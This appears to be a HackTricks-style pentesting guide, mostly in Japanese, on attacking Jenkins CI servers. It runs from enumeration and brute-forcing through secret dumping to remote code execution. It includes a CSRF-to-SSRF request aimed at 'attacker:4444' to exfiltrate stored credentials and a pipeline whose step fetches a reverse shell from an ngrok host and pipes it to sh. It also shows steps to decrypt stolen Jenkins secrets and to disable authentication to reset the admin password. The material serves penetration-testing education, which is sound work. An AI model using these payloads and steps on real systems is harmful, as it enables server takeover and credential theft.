# Jenkins セキュリティ

{{#include ../../banners/hacktricks-training.md}}

## 基本情報

Jenkins は、パイプラインを使ってほとんど**あらゆる**組み合わせの**プログラミング言語**とソースコードリポジトリに対して、**継続的インテグレーション**または**継続的デリバリー** (CI/CD) 環境を構築するためのシンプルな手段を提供するツールです。さらに、さまざまな日常的な開発タスクを自動化します。Jenkins が**個々のステップ用にスクリプトを作成する必要**を完全に排除するわけではありませんが、ビルド、テスト、デプロイの一連のツールを手作業で構築するよりも、より迅速かつ堅牢に統合する方法を提供します。

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## 未認証での列挙

認証なしで興味深い Jenkins ページ（例: _/people_ や _/asynchPeople_ — これらは現在のユーザを一覧表示します）を検索するには、次を使用できます:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
認証不要でコマンドを実行できるか確認する:
```
msf> use auxiliary/scanner/http/jenkins_command
```
認証情報がなくても、_**/asynchPeople/**_ パスや _**/securityRealm/user/admin/search/index?q=**_ を確認して **usernames** を取得できます。

Jenkins のバージョンは _**/oops**_ や _**/error**_ パスから取得できることがあります。

![](<../../images/image (146).png>)

### 既知の脆弱性

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## ログイン

基本情報から、**Jenkins にログインするためのすべての方法** を確認できます：

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### 登録

Jenkins のインスタンスの中には、**アカウントを作成してログインできるものがあります。とても単純です。**

### **SSO ログイン**

また、**SSO** **functionality**/**plugins** が存在する場合は、テストアカウント（例：テスト **Github/Bitbucket account**）を使ってアプリケーションに **log-in** を試みるべきです。Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** には **password policy** や **username brute-force mitigation** がありません。**brute-force** を行うことは重要です。なぜなら **weak passwords** や **usernames as passwords**、さらには **reversed usernames as passwords** が使われている可能性があるからです。
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

次のスクリプトを使用してください: [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) または [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray)。

### IP Whitelisting Bypass

多くの組織は、GitHub や GitLab のような **SaaS-based source control management (SCM) systems** と、Jenkins や TeamCity のような **internal, self-hosted CI** ソリューションを組み合わせています。この構成により、CI システムは主にパイプラインジョブをトリガーするために、**receive webhook events from SaaS source control vendors** ことができます。

これを実現するため、組織は**SCM platforms**の**IP ranges**を**whitelist**し、**webhooks**経由で**internal CI system**へアクセスを許可します。ただし、重要なのは**anyone**が GitHub または GitLab に**account**を作成し、**trigger a webhook**を設定でき、それによって**internal CI system**にリクエストが送られる可能性がある点です。

参照: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Internal Jenkins Abuses

ここでは、Jenkins にアクセスする有効なアカウントを持っているものと仮定します。

> [!WARNING]
> Jenkins に設定されている **Authorization** メカニズムや、侵害されたユーザーの権限によっては、以下の攻撃を**実行できる場合とできない場合があります。**

For more information check the basic information:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### ユーザーの列挙

Jenkins にアクセスできる場合、他の登録ユーザーを http://127.0.0.1:8080/asynchPeople/ で一覧できます。

### ビルドをダンプして平文のシークレットを探す

ビルドのコンソール出力やビルド環境変数をダンプして、平文のシークレットが見つかるか確認するために [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) を使用してください。
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

一部のプラグインは、Jelly の `validateButton` や `test connection` ハンドラを `/descriptorByName/<Class>/testConnection` のようなパスで公開しています。ハンドラが **POST や権限チェックを強制しない** 場合、以下が可能です：

- POST を GET に切り替え、Crumb を省略して CSRF チェックを回避します。
- `Jenkins.ADMINISTER` チェックがない場合、低権限／匿名でハンドラを実行できます。
- 管理者に対して CSRF を行い、host/URL パラメータを差し替えて credentials を exfiltrate したり、外向きの呼び出しを発生させます。
- レスポンスのエラー（例: `ConnectException`）を SSRF/port-scan オラクルとして利用できます。

Example GET（no Crumb）で、バリデーション呼び出しを SSRF/credential exfiltration に変換する例：
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

### **Stealing SSH Credentials**

If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:

![](<../../images/image (218).png>)

You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).

### **RCE in Jenkins**

Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.

By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.

### **RCE Creating/Modifying a project**

Creating/Modifying a project is a way to obtain RCE over the Jenkins server:

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Execute Groovy script**

You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Creating/Modifying Pipeline

You can also get **RCE by creating/modifying a pipeline**:

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Pipeline Exploitation

To exploit pipelines you still need to have access to Jenkins.

### Build Pipelines

**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:

![](<../../images/image (127).png>)

It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.

If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).

The most common triggers to execute a custom pipeline are:

- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow

> [!NOTE]
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.

### Pipeline RCE

In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).

### Checking Env variables

It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

For information about how are secrets usually treated by Jenkins check out the basic information:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.

There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
ここでは、一般的なシークレットタイプを読み込む方法を示します:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
このページの最後で**すべての認証情報の種類を確認できます**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)

> [!WARNING]
> 最も効率的に**一度にすべてのシークレットをダンプする**方法は、**Jenkins**マシンを**侵害する**ことです（例えば**built-in node**でreverse shellを実行するなど）。その後**leaking**された**master keys**と**encrypted secrets**を取得してオフラインで復号します。\
> 詳細は[Nodes & Agents section](#nodes-and-agents)および[Post Exploitation section](#post-exploitation)を参照してください。

### トリガー

From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers`ディレクティブは、Pipelineが再トリガーされるべき**自動的な方法**を定義します。GitHubやBitBucketなどのソースと統合されたPipelineでは、webhooksベースの統合が既に存在する可能性が高いため、`triggers`は不要な場合があります。現在利用可能なtriggersは`cron`、`pollSCM`、`upstream`です。

Cron example:
```bash
triggers { cron('H */4 * * 1-5') }
```
ドキュメント内の**他の例**も確認してください。

### ノード & エージェント

一つの **Jenkins instance** には、異なるマシンで稼働している**異なるエージェント**が存在することがあります。攻撃者の観点からは、異なるマシンへのアクセスは、盗むことのできる**異なるクラウド資格情報**や、他のマシンを悪用して攻撃するために使える**異なるネットワークアクセス**を意味します。

For more information check the basic information:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

`/computer/`で**設定されたノード**を列挙できます。通常、\*\*`Built-In Node` \*\*（Jenkinsが稼働しているノード）を見つけ、さらに他のノードも存在する可能性があります：

![](<../../images/image (249).png>)

機密性の高いJenkins情報が含まれているため、**Built-In nodeを乗っ取ることは特に興味深いです。**

**pipeline**を**built-in Jenkins node**で**run**したいことを示すには、パイプライン内に次の設定を指定します：
```bash
pipeline {
agent {label 'built-in'}
```
### 完全な例

特定の agent 上の pipeline で、cron trigger を使い、pipeline と stage の env variables を設定し、step 内で 2 つの変数を読み込んで reverse shell を送る例：
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read から RCE への移行

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Exploitation

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets

十分な権限があれば、`/credentials/` にアクセスして secrets を一覧できます。これは `credentials.xml` ファイル内の secrets のみを一覧することに注意してください。**ビルド構成ファイル (build configuration files)** には **さらに多くの credentials** が含まれている場合もあります。

もし各プロジェクトの **設定を閲覧できる場合**、そこにリポジトリへアクセスするために使われている **credentials (secrets) の名前** やプロジェクトの **その他の credentials** も確認できます。

![](<../../images/image (180).png>)

#### Groovy から

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### ディスクから

これらのファイルは **Jenkins secrets を復号する** のに必要です:

- secrets/master.key
- secrets/hudson.util.Secret

そのような **secrets は通常次の場所にあります**:

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

これらを見つけるための正規表現は次の通りです:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Jenkins secrets をオフラインで復号する

もし**シークレットを復号するために必要なパスワード**をダンプしている場合は、[**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **を使ってそれらのシークレットを復号できます**。
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### GroovyからJenkinsのsecretsをDecrypt
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### 新しい管理者ユーザーを作成

1. Jenkins の config.xml ファイルにアクセスします（`/var/lib/jenkins/config.xml` または `C:\Program Files (x86)\Jenkis\`）
2. `<useSecurity>true</useSecurity>` を検索し、単語 \*\*`true` \*\* を **`false`** に変更します。
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Jenkins** サーバーを**再起動**します: `service jenkins restart`
4. 再度 Jenkins ポータルにアクセスすると、**Jenkins は今回認証情報を要求しません**。 "**Manage Jenkins**" に移動して、**管理者パスワードを再設定**します。
5. `<useSecurity>true</useSecurity>` に設定を戻して **セキュリティを有効化** し、**Jenkins を再起動**します。

## References

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
